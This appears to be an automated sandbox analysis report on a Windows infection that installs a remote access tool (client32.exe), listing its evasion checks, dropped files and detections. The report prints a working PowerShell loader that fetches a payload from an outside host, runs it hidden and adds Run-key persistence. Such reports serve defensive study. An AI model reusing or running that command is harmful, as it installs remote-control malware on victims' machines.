Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110B86C0 Sleep,ExitProcess,		3_2_110B86C0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110B86C0 Sleep,ExitProcess,		7_2_110B86C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3285	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6584	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Window / User API: threadDelayed 425	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Window / User API: threadDelayed 7985	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\GRDCWLLI20\TCCTL32.DLL	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_3-56463
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_3-52775

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API coverage: 7.8 %
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API coverage: 2.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7564	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe TID: 7636	Thread sleep time: -69500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe TID: 7640	Thread sleep time: -42500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe TID: 7636	Thread sleep time: -1996250s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	3_2_111273E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102DD21
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	3_2_1110BD70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	3_2_110663B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D900
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_111273E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1110BD70 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_1110BD70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_110663B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_1106ABD0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: client32.exe	Binary or memory string: VMware
Source: powershell.exe, 00000001.00000002.1881774532.00000170D2A59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: client32.exe	Binary or memory string: VMWare

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API call chain: ExitProcess graph end node	graph_3-53023
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 7_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_11162BB7

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_110B7F30 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

3_2_110B7F30

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

3_2_11029BB0

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1117D104 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

3_2_1117D104

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	3_2_110934A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	3_2_11031780
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	7_2_110934A0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	7_2_11031780
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_11162BB7
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1116EC49 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_1116EC49

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 7_2_110F4990 GetTickCount,LogonUserA,GetTickCount,GetLastError,

7_2_110F4990

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

3_2_11113190

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe "C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ex bypass -nop -c $hgwcfvipunw='http://dfwreds.com/data.php?14991';$azewtjmsl=(new-object system.net.webclient).downloadstring($hgwcfvipunw);$qepgekusqfv=[system.convert]::frombase64string($azewtjmsl);$asd = get-random -minimum -10 -maximum 37; $liedxzvhuh=[system.environment]::getfolderpath('applicationdata')+'\grdcwlli'+$asd;if (!(test-path $liedxzvhuh -pathtype container)) { new-item -path $liedxzvhuh -itemtype directory };$p=join-path $liedxzvhuh 'tttt.zip';[system.io.file]::writeallbytes($p,$qepgekusqfv);try { add-type -a system.io.compression.filesystem;[system.io.compression.zipfile]::extracttodirectory($p,$liedxzvhuh)} catch { write-host 'failed: ' + $_; exit};$cv=join-path $liedxzvhuh 'client32.exe';if (test-path $cv -pathtype leaf) { start-process -filepath $cv} else {write-host 'no exe.'};$fd=get-item $liedxzvhuh -force; $fd.attributes='hidden';$s=$liedxzvhuh+'\client32.exe';$k='hkcu:\software\microsoft\windows\currentversion\run';$v='hqwqto';$ds='string';new-itemproperty -path $k -name $v -value $s -propertytype $ds;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ex bypass -nop -c $hgwcfvipunw='http://dfwreds.com/data.php?14991';$azewtjmsl=(new-object system.net.webclient).downloadstring($hgwcfvipunw);$qepgekusqfv=[system.convert]::frombase64string($azewtjmsl);$asd = get-random -minimum -10 -maximum 37; $liedxzvhuh=[system.environment]::getfolderpath('applicationdata')+'\grdcwlli'+$asd;if (!(test-path $liedxzvhuh -pathtype container)) { new-item -path $liedxzvhuh -itemtype directory };$p=join-path $liedxzvhuh 'tttt.zip';[system.io.file]::writeallbytes($p,$qepgekusqfv);try { add-type -a system.io.compression.filesystem;[system.io.compression.zipfile]::extracttodirectory($p,$liedxzvhuh)} catch { write-host 'failed: ' + $_; exit};$cv=join-path $liedxzvhuh 'client32.exe';if (test-path $cv -pathtype leaf) { start-process -filepath $cv} else {write-host 'no exe.'};$fd=get-item $liedxzvhuh -force; $fd.attributes='hidden';$s=$liedxzvhuh+'\client32.exe';$k='hkcu:\software\microsoft\windows\currentversion\run';$v='hqwqto';$ds='string';new-itemproperty -path $k -name $v -value $s -propertytype $ds;			Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1109E5B0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

3_2_1109E5B0

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1109ED30 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

3_2_1109ED30

Source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: client32.exe, client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: Shell_TrayWnd
Source: client32.exe, client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: Progman

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_11174898
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_11174B29
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_11174BCC
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: GetLocaleInfoA,	3_2_1116C24E
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_11174796
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_111746A1
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	7_2_11174BCC
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: GetLocaleInfoA,	7_2_1116C24E
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_11174796
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_111746A1
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_1117483D
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	7_2_11174898
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11174B29
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_11174B90
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_11174A69

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_110F37A0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

3_2_110F37A0

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11134830 GetLocalTime,LoadLibraryA,GetCurrentProcess,GetProcAddress,GetProcAddress,GetProcessHandleCount,SetLastError,GetProcAddress,GetProcAddress,SetLastError,SetLastError,GetProcAddress,K32GetProcessMemoryInfo,SetLastError,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,

3_2_11134830

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1103BA70 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

3_2_1103BA70

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_1117594C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

3_2_1117594C

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe

Code function: 3_2_11145C70 wsprintfA,GetVersionExA,RegOpenKeyExA,_memset,_strncpy,RegCloseKey,

3_2_11145C70

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_11070430 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,		3_2_11070430
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_11070430 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,		7_2_11070430

Source: Yara match	File source: 8.2.client32.exe.73a90000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.73a90000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.6f290000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.170baed8fc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.170baeced60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.170baeb84c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6f290000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.73a90000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.6f290000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.6f120000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1909048492.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
